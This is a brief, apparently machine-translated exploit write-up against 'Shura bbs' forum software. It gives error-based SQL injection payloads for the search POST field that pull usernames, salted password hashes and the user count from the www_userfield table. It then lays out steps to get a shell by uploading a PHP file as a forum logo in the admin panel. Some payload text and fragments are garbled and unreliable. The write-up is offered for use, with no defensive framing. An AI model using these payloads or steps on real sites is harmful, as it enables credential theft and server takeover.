Shura bbs injection + getshell

 

Accidentally flipped through the code to find the search Injection Vulnerability (POST)

Magic_quotes_gpc = Off

 

Use salt + md5 for passwords with high strength

 

Get username and password

'AND (SELECT 2861 FROM (select count (*), CONCAT (SELECT concat (0x757365726e616d653a, username, 0x3b706173776f000043a, password, 0x3a, salt) FROM www_userfield limit ), FLOOR (RAND (0) * 2) x FROM INFORMATION_SCHEMA.CHARACTER_SETS group by x) a) AND 'mobl' = 'mobl

 

Obtain the number of users

'AND (SELECT 1600 FROM (select count (*), CONCAT (0x6c6f7374776f6c667e, (select mid (IFNULL (CAST (COUNT (*) as char), 0x20 )), 1, 50) FROM www_userfield), 0x7e7430306c73, FLOOR (RAND (0) * 2) x FROM INFORMATION_SCHEMA.CHARACTER_SETS group by x) a) AND 'Lost' = 'lost

 

Note: www.2cto.com

 

LIMIT = number of users-1, 1

 

Xx FROM www_userfield where username = 'admin ';

 

 

// Getshell

 

Log onto the background and click the link below other features

 

Add a consortium Forum

Directly upload the PHP file at the logo.

Right-click to view uploaded files